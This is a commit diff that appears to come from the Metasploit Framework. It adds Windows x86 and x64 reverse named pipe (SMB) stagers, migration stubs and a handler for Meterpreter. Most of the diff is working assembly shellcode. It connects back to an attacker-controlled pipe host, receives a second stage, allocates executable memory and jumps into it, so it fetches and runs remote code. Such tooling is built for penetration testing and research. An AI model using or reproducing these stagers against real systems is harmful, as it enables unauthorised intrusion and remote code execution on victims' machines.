First pass of named pipe code for pivots

bug/bundler_fix
OJ 2017-07-05 16:14:40 +10:00 committed by Brent Cook
parent 36bbe00ea1
commit 816e78b6f6
16 changed files with 828 additions and 10 deletions

View File

@ -0,0 +1,76 @@
# -*- coding: binary -*-
require 'thread'
require 'msf/core/post_mixin'
module Msf
module Handler
###
#
# TODO: docs
#
###
module ReverseNamedPipe
include Msf::Handler
#
# Returns the string representation of the handler type, in this case
# 'reverse_named_pipe'.
#
def self.handler_type
"reverse_named_pipe"
end
#
# Returns the connection-described general handler type, in this case
# 'reverse'.
#
def self.general_handler_type
"reverse"
end
#
# Initializes the reverse handler and ads the options that are required
# for reverse named pipe payloads.
#
def initialize(info={})
super
register_options([
OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']),
OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.'])
], Msf::Handler::ReverseNamedPipe)
end
#
# Closes the listener socket if one was created.
#
def cleanup_handler
# we're just pretending to be a handler
end
# A string suitable for displaying to the user
#
# @return [String]
def human_name
"reverse named pipe"
end
#
# Starts monitoring for an inbound connection.
#
def start_handler
# we're just pretending to be a handler
end
#
# Stops monitoring for an inbound connection.
#
def stop_handler
# we're just pretending to be a handler
end
end
end
end

View File

@ -64,6 +64,14 @@ module Msf::Payload::TransportConfig
}.merge(timeout_config)
end
def transport_config_reverse_named_pipe(opts={})
{
scheme: 'pipe',
lhost: datastore['PIPEHOST'],
uri: "/#{datastore['PIPENAME']}"
}.merge(timeout_config)
end
private
def timeout_config

View File

@ -28,7 +28,7 @@ module Payload::Windows::MeterpreterLoader
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
'Stage' => { 'Payload' => "" }
))
end
@ -55,7 +55,7 @@ module Payload::Windows::MeterpreterLoader
unless opts[:stageless]
asm << %Q^
mov [ebx], edi ; write the current socket to the config
mov [ebx], edi ; write the current socket/handle to the config
^
end

View File

@ -3,3 +3,4 @@
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/migrate_tcp'
require 'msf/core/payload/windows/migrate_http'
require 'msf/core/payload/windows/migrate_named_pipe'

View File

@ -0,0 +1,56 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/migrate_common'
module Msf
###
#
# Payload that supports migrating over Named Pipe transports on x86.
#
###
module Payload::Windows::MigrateNamedPipe
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi
def initialize(info={})
super(update_info(info,
'Name' => 'Migrate over Named Pipe transport',
'Description' => 'Migration stub to use over Named Pipe transports',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
))
end
#
# Constructs the payload
#
def generate
%Q^
migrate:
cld
pop esi
pop esi ; esi now contains a pointer to the migrate context
sub esp, 0x2000
call start
#{asm_block_api}
start:
pop ebp
mov edi, [esi+16] ; The duplicated pipe handle is in the migrate context.
signal_event:
push dword [esi] ; Event handle is pointed at by esi
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
call ebp ; SetEvent(handle)
call_payload:
call dword [esi+8] ; call the associated payload
^
end
end
end

View File

@ -0,0 +1,277 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/send_uuid'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
module Msf
###
#
# Complex reverse_named_pipe payload generation for Windows ARCH_X86
#
###
module Payload::Windows::ReverseNamedPipe
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::SendUUID
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
#
# Register reverse_named_pipe specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'] || '.',
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_named_pipe(conf)
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
def transport_config(opts={})
transport_config_reverse_named_pipe(opts)
end
#
# Generate and compile the stager
#
def generate_reverse_named_pipe(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_named_pipe(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
space += 29
# Reliability adds some bytes!
space += 44
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_named_pipe(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
reliable = opts[:reliable]
# we have to double-escape because of metasm
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the handle for the pipe to the server
retry_start:
push #{retry_count} ; retry counter
mov esi, esp ; keep track of where the variables are
try_reverse_named_pipe:
; Start by setting up the call to CreateFile
xor ebx, ebx ; EBX will be used for pushing zero
push ebx ; hTemplateFile
push ebx ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition (OPEN_EXISTING)
push ebx ; lpSecurityAttributes
push ebx ; dwShareMode
push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE)
call get_pipe_name
db "#{full_pipe_name}", 0x00
get_pipe_name:
; lpFileName (via call)
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
call ebp ; CreateFileA(...)
; If eax is -1, then we had a failure.
cmp eax, -1 ; -1 means a failure
jnz connected
handle_connect_failure:
; decrement our attempt count and try again
dec [esi]
jnz try_reverse_named_pipe
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
asm << %Q^
; this label is required so that reconnect attempts include
; the UUID stuff if required.
connected:
xchg edi, eax ; edi now has the file handle we'll need in future
^
asm << asm_write_uuid if include_send_uuid
asm << %Q^
; Receive the size of the incoming second stage...
push ebx ; buffer for lpNumberOfBytesRead
mov ecx, esp
push ebx ; buffer for lpBuffer
mov esi, esp
push ebx ; lpOverlapped
push ecx ; lpNumberOfBytesRead
push 4 ; nNumberOfBytesToRead = sizeof( DWORD );
push esi ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(...) to read the size
^
if reliable
asm << %Q^
; reliability: check to see if the file read worked, retry otherwise
; if it fails
test eax, eax
jz cleanup_file
mov eax, [esi+4] ; check to see if bytes were read
test eax, eax
jz cleanup_file
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly received second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
push eax ; space for the number of bytes
mov eax, esp ; store the pointer
push 0 ; lpOverlapped
push eax ; lpNumberOfBytesRead
push esi ; nNumberOfBytesToRead
push ebx ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(...) to read the size
^
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jz read_failed
pop eax ; get the number of bytes read
cmp eax, 0
jnz read_successful
read_failed:
; something failed, free up memory
pop eax ; get the address of the payload
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
push 0 ; dwSize
push eax ; lpAddress
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
cleanup_file:
; clear up the named pipe handle
push edi ; named pipe handle
push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
call ebp ; CloseHandle(...)
; restore the stack back to the connection retry count
pop esi
pop esi
pop esi
dec [esp] ; decrement the counter
; try again
jmp try_reverse_named_pipe
^
else
asm << %Q^
pop eax ; pop bytes read
^
end
asm << %Q^
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

View File

@ -29,7 +29,7 @@ module Payload::Windows::MeterpreterLoader_x64
],
'Platform' => 'win',
'Arch' => ARCH_X64,
'PayloadCompat' => { 'Convention' => 'sockrdi' },
'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' },
'Stage' => { 'Payload' => "" }
))
end
@ -56,8 +56,8 @@ module Payload::Windows::MeterpreterLoader_x64
unless opts[:stageless]
asm << %Q^
; store the comms socket handle
mov dword ptr [rbx], edi
; store the comms socket or handle
mov [rbx], rdi
^
end

View File

@ -3,3 +3,4 @@
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/migrate_tcp'
require 'msf/core/payload/windows/x64/migrate_http'
require 'msf/core/payload/windows/x64/migrate_named_pipe'

View File

@ -0,0 +1,56 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/migrate_common'
module Msf
###
#
# Payload that supports migrating over Named Pipe transports on x64.
#
###
module Payload::Windows::MigrateNamedPipe_x64
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi_x64
def initialize(info={})
super(update_info(info,
'Name' => 'Migrate over Named Pipe transport (x64)',
'Description' => 'Migration stub to use over Named Pipe transports (x64)',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
))
end
#
# Constructs the payload
#
def generate
%Q^
migrate:
cld
mov rsi, rcx
sub rsp, 0x2000
and rsp, ~0xF
call start
#{asm_block_api}
start:
pop rbp
mov rdi, qword [rsi+16] ; The duplicated pipe handle is in the migrate context.
signal_event:
mov rcx, qword [rsi] ; Event handle is pointed at by rsi
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
call rbp ; SetEvent(handle)
call_payload:
call qword [rsi+8] ; call the associated payload
^
end
end
end

View File

@ -0,0 +1,276 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/x64/send_uuid'
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/exitfunk'
module Msf
###
#
# Complex reverse_named_pipe payload generation for Windows ARCH_X86_64
# ###
module Payload::Windows::ReverseNamedPipe_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::SendUUID_x64
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
#
# Register reverse_named_pipe specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'],
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_named_pipe(conf)
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
#
# Generate and compile the stager
#
def generate_reverse_named_pipe(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp ; block API pointer
#{asm_reverse_named_pipe(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
def transport_config(opts={})
transport_config_reverse_named_pipe(opts)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
space += 15
# Reliability adds bytes!
space += 57
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_named_pipe(opts={})
#reliable = opts[:reliable]
reliable = false
retry_count = [opts[:retry_count].to_i, 1].max
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
asm = %Q^
; Input: RBP must be the address of 'api_call'
; Output: RDI will be the handle to the named pipe.
retry_start:
push #{retry_count} ; retry counter
pop r14
; Func(rcx, rdx, r8, r9, stack ...)
try_reverse_named_pipe:
call get_pipe_name
db "#{full_pipe_name}", 0x00
get_pipe_name:
pop rcx ; lpFileName
; Start by setting up the call to CreateFile
push 0 ; alignment
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition (OPEN_EXISTING)
xor r9, r9 ; lpSecurityAttributes
xor r8, r8 ; dwShareMode
mov rdx, 0xC0000000 ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE)
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
call rbp ; CreateFileA(...)
; check for failure
cmp rax, -1 ; did it work?
jnz connected
handle_connect_failure:
dec r14 ; decrement the retry count
jnz retry_start
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call rbp
^
end
asm << %Q^
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
xchg rdi, rax ; Save the file handler for later
^
asm << asm_write_uuid if include_send_uuid
asm << %Q^
; Receive the size of the incoming second stage...
push 0 ; buffer for lpNumberOfBytesRead
mov r9, rsp ; lpNumberOfBytesRead
push 0 ; buffer for lpBuffer
mov rsi, rsp ; lpNumberOfBytesRead
push 4 ; sizeof(DWORD)
pop r8 ; nNumberOfBytesToRead
push 0 ; alignment
push 0 ; lpOverlapped
mov rdx, rsi ; lpBuffer
mov rcx, rdi ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call rbp ; ReadFile(...)
^
if reliable
asm << %Q^
; reliability: check to see if the received worked, and reconnect
; if it fails
test eax, eax
jz cleanup_file
mov rax, [rsi+8]
test eax, eax
jz cleanup_file
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
add rsp, 0x30 ; slight stack adjustment
pop rsi ; pop off the second stage length
pop rax ; line the stack up again
mov esi, esi ; only use the lower-order 32 bits for the size
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
mov rbx, rax ; rbx = our new memory address for the new stage
mov r15, rax ; save the address so we can jump into it later
read_more:
push 0 ; buffer for lpNumberOfBytesRead
mov r9, rsp ; lpNumberOfBytesRead
mov rdx, rbx ; lpBuffer
mov r8, rsi ; nNumberOfBytesToRead
push 0 ; lpOverlapped
mov rcx, rdi ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call rbp ; ReadFile(...)
add rsp, 0x28 ; slight stack adjustment
^
if reliable
asm << %Q^
; reliability: check to see if the read worked
; if it fails
test eax, eax
jnz read_successful
; something failed so free up memory
pop rax
push r15
pop rcx ; lpAddress
push 0x4000 ; MEM_DECOMMIT
pop r8 ; dwFreeType
push 0 ; 0
pop rdx ; dwSize
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call rbp ; VirtualFree(payload, 0, MEM_DECOMMIT)
cleanup_file:
; clean up the socket
push rdi ; file handle
pop rcx ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
call rbp
; and try again
dec r14 ; decrement the retry count
jmp retry_start
^
end
asm << %Q^
read_successful:
pop rax
add rbx, rax ; buffer += bytes_received
sub rsi, rax ; length -= bytes_received
test rsi, rsi ; test length
jnz read_more ; continue if we have more to read
jmp r15 ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

View File

@ -67,7 +67,7 @@ private
session_guid # the Session GUID
]
session_data.pack('VVVA*A*')
session_data.pack('QVVA*A*')
end
def transport_block(opts)

View File

@ -751,6 +751,8 @@ private
case t[:url]
when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp)
when /^pipe/i
c.include(::Msf::Payload::Windows::MigrateNamedPipe)
when /^http/i
# Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp)
@ -760,6 +762,8 @@ private
case t[:url]
when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp_x64)
when /^pipe/i
c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)
when /^http/i
# Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp_x64)

View File

@ -0,0 +1,32 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_named_pipe'
require 'msf/core/payload/windows/reverse_named_pipe'
module MetasploitModule
CachedSize = 281
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseNamedPipe
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x86 Reverse Named Pipe (SMB) Stager',
'Description' => 'Connect back to the attacker via a named pipe pivot',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Handler' => Msf::Handler::ReverseNamedPipe,
'Arch' => ARCH_X86,
'Convention' => 'handleedi',
'Stager' => { 'RequiresMidstager' => false }
))
end
end

View File

@ -0,0 +1,31 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_named_pipe'
require 'msf/core/payload/windows/x64/reverse_named_pipe'
module MetasploitModule
CachedSize = 281
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseNamedPipe_x64
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Reverse Named Pipe (SMB) Stager',
'Description' => 'Connect back to the attacker via a named pipe pivot',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseNamedPipe,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Convention' => 'handlerdi',
'Stager' => { 'RequiresMidstager' => false }
))
end
end

View File

@ -23,8 +23,8 @@ module MetasploitModule
super(update_info(info,
'Name' => 'Windows Meterpreter (Reflective Injection)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
'Author' => ['skape','sf'],
'PayloadCompat' => { 'Convention' => 'sockedi'},
'Author' => ['skape', 'sf', 'OJ Reeves'],
'PayloadCompat' => { 'Convention' => 'sockedi handleedi http https'},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x86_Win
))

View File

@ -23,8 +23,8 @@ module MetasploitModule
super(update_info(info,
'Name' => 'Windows Meterpreter (Reflective Injection x64)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
'Author' => ['skape','sf', 'OJ Reeves'],
'PayloadCompat' => { 'Convention' => 'sockrdi', },
'Author' => ['skape', 'sf', 'OJ Reeves'],
'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi http https'},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x64_Win))
end